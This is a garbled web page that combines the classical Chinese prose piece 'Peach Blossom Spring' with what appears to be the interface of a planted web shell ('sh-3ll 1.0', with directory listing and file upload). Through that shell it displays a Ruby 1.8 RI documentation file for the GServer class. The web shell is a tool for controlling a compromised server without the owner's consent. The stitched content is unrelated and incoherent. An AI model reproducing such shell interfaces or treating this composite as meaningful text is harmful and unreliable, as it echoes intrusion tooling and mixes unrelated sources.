晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby18/share/ri/1.8/system/GServer/
Upload File :
Current File : //opt/alt/ruby18/share/ri/1.8/system/GServer/cdesc-GServer.yaml
--- !ruby/object:RI::ClassDescription 
attributes: 
- !ruby/object:RI::Attribute 
  comment: 
  name: audit
  rw: RW
- !ruby/object:RI::Attribute 
  comment: 
  name: debug
  rw: RW
- !ruby/object:RI::Attribute 
  comment: 
  name: host
  rw: R
- !ruby/object:RI::Attribute 
  comment: 
  name: maxConnections
  rw: R
- !ruby/object:RI::Attribute 
  comment: 
  name: port
  rw: R
- !ruby/object:RI::Attribute 
  comment: 
  name: stdlog
  rw: RW
class_methods: 
- !ruby/object:RI::MethodSummary 
  name: in_service?
- !ruby/object:RI::MethodSummary 
  name: new
- !ruby/object:RI::MethodSummary 
  name: stop
comment: 
- !ruby/struct:SM::Flow::P 
  body: GServer implements a generic server, featuring thread pool management, simple logging, and multi-server management. See HttpServer in <tt>xmlrpc/httpserver.rb</tt> in the Ruby standard library for an example of GServer in action.
- !ruby/struct:SM::Flow::P 
  body: Any kind of application-level server can be implemented using this class. It accepts multiple simultaneous connections from clients, up to an optional maximum number. Several <em>services</em> (i.e. one service per TCP port) can be run simultaneously, and stopped at any time through the class method <tt>GServer.stop(port)</tt>. All the threading issues are handled, saving you the effort. All events are optionally logged, but you can provide your own event handlers if you wish.
- !ruby/struct:SM::Flow::H 
  level: 3
  text: Example
- !ruby/struct:SM::Flow::P 
  body: "Using GServer is simple. Below we implement a simple time server, run it, query it, and shut it down. Try this code in <tt>irb</tt>:"
- !ruby/struct:SM::Flow::VERB 
  body: "  require 'gserver'\n\n  #\n  # A server that returns the time in seconds since 1970.\n  #\n  class TimeServer &lt; GServer\n    def initialize(port=10001, *args)\n      super(port, *args)\n    end\n    def serve(io)\n      io.puts(Time.now.to_i)\n    end\n  end\n\n  # Run the server with logging enabled (it's a separate thread).\n  server = TimeServer.new\n  server.audit = true                  # Turn logging on.\n  server.start\n\n  # *** Now point your browser to http://localhost:10001 to see it working ***\n\n  # See if it's still running.\n  GServer.in_service?(10001)           # -&gt; true\n  server.stopped?                      # -&gt; false\n\n  # Shut the server down gracefully.\n  server.shutdown\n\n  # Alternatively, stop it immediately.\n  GServer.stop(10001)\n  # or, of course, &quot;server.stop&quot;.\n"
- !ruby/struct:SM::Flow::P 
  body: All the business of accepting connections and exception handling is taken care of. All we have to do is implement the method that actually serves the client.
- !ruby/struct:SM::Flow::H 
  level: 3
  text: Advanced
- !ruby/struct:SM::Flow::P 
  body: As the example above shows, the way to use GServer is to subclass it to create a specific server, overriding the <tt>serve</tt> method. You can override other methods as well if you wish, perhaps to collect statistics, or emit more detailed logging.
- !ruby/struct:SM::Flow::VERB 
  body: "  connecting\n  disconnecting\n  starting\n  stopping\n"
- !ruby/struct:SM::Flow::P 
  body: The above methods are only called if auditing is enabled.
- !ruby/struct:SM::Flow::P 
  body: You can also override <tt>log</tt> and <tt>error</tt> if, for example, you wish to use a more sophisticated logging system.
constants: 
- !ruby/object:RI::Constant 
  comment: 
  name: DEFAULT_HOST
  value: "\"127.0.0.1\""
full_name: GServer
includes: []

instance_methods: 
- !ruby/object:RI::MethodSummary 
  name: connecting
- !ruby/object:RI::MethodSummary 
  name: connections
- !ruby/object:RI::MethodSummary 
  name: disconnecting
- !ruby/object:RI::MethodSummary 
  name: error
- !ruby/object:RI::MethodSummary 
  name: join
- !ruby/object:RI::MethodSummary 
  name: log
- !ruby/object:RI::MethodSummary 
  name: serve
- !ruby/object:RI::MethodSummary 
  name: shutdown
- !ruby/object:RI::MethodSummary 
  name: start
- !ruby/object:RI::MethodSummary 
  name: starting
- !ruby/object:RI::MethodSummary 
  name: stop
- !ruby/object:RI::MethodSummary 
  name: stopped?
- !ruby/object:RI::MethodSummary 
  name: stopping
name: GServer
superclass: Object